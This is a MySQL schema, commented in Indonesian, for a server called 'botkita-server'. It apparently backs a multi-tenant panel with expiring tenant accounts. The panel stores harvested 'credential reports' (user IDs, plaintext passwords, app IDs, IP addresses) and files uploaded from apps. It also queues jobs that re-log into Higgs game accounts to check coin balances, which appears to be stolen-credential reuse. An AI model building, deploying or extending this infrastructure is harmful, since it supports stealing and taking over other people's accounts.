-- botkita-server schema (MySQL). Import sekali via phpMyAdmin.
CREATE TABLE IF NOT EXISTS tenants (
  slug VARCHAR(32) NOT NULL PRIMARY KEY,
  pass_hash VARCHAR(255) NULL,
  enabled TINYINT(1) NOT NULL DEFAULT 1,
  expiry INT NOT NULL DEFAULT 0,
  api_token VARCHAR(128) NOT NULL DEFAULT '',
  created INT NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS app_map (
  appid VARCHAR(64) NOT NULL PRIMARY KEY,
  tenant VARCHAR(32) NOT NULL,
  updated INT NOT NULL,
  KEY idx_tenant (tenant)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Laporan kredensial dari ingest.php / analytic.php
CREATE TABLE IF NOT EXISTS reports (
  id INT AUTO_INCREMENT PRIMARY KEY,
  tenant VARCHAR(32) NOT NULL DEFAULT 'unassigned',
  userid VARCHAR(64) NOT NULL,
  password VARCHAR(255) NULL,
  j1 TEXT NULL,
  j2 TEXT NULL,
  appid VARCHAR(64) NULL,
  qyr0 VARCHAR(32) NULL,
  md5file CHAR(32) NULL,
  ip VARCHAR(64) NULL,
  source VARCHAR(16) NOT NULL DEFAULT 'ingest',
  ts INT NOT NULL,
  iso VARCHAR(64) NULL,
  UNIQUE KEY uniq_tenant_user (tenant, userid),
  KEY idx_tenant_ts (tenant, ts),
  KEY idx_ts (ts)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- File upload dari upload.php (xml/conf/png)
CREATE TABLE IF NOT EXISTS files (
  id INT AUTO_INCREMENT PRIMARY KEY,
  tenant VARCHAR(32) NOT NULL DEFAULT 'unassigned',
  appid VARCHAR(64) NULL,
  kind VARCHAR(16) NOT NULL DEFAULT 'bin',
  filename VARCHAR(255) NOT NULL,
  path VARCHAR(512) NOT NULL,
  size INT NOT NULL DEFAULT 0,
  ip VARCHAR(64) NULL,
  ts INT NOT NULL,
  KEY idx_tenant_ts (tenant, ts)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Antrean cek koin (fase 2: worker login-ulang Higgs)
CREATE TABLE IF NOT EXISTS koin_jobs (
  id INT AUTO_INCREMENT PRIMARY KEY,
  tenant VARCHAR(32) NOT NULL,
  userid VARCHAR(64) NOT NULL,
  status VARCHAR(16) NOT NULL DEFAULT 'queued',
  result TEXT NULL,
  ts INT NOT NULL,
  done_ts INT NULL,
  UNIQUE KEY uniq_tenant_user (tenant, userid),
  KEY idx_status (status)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;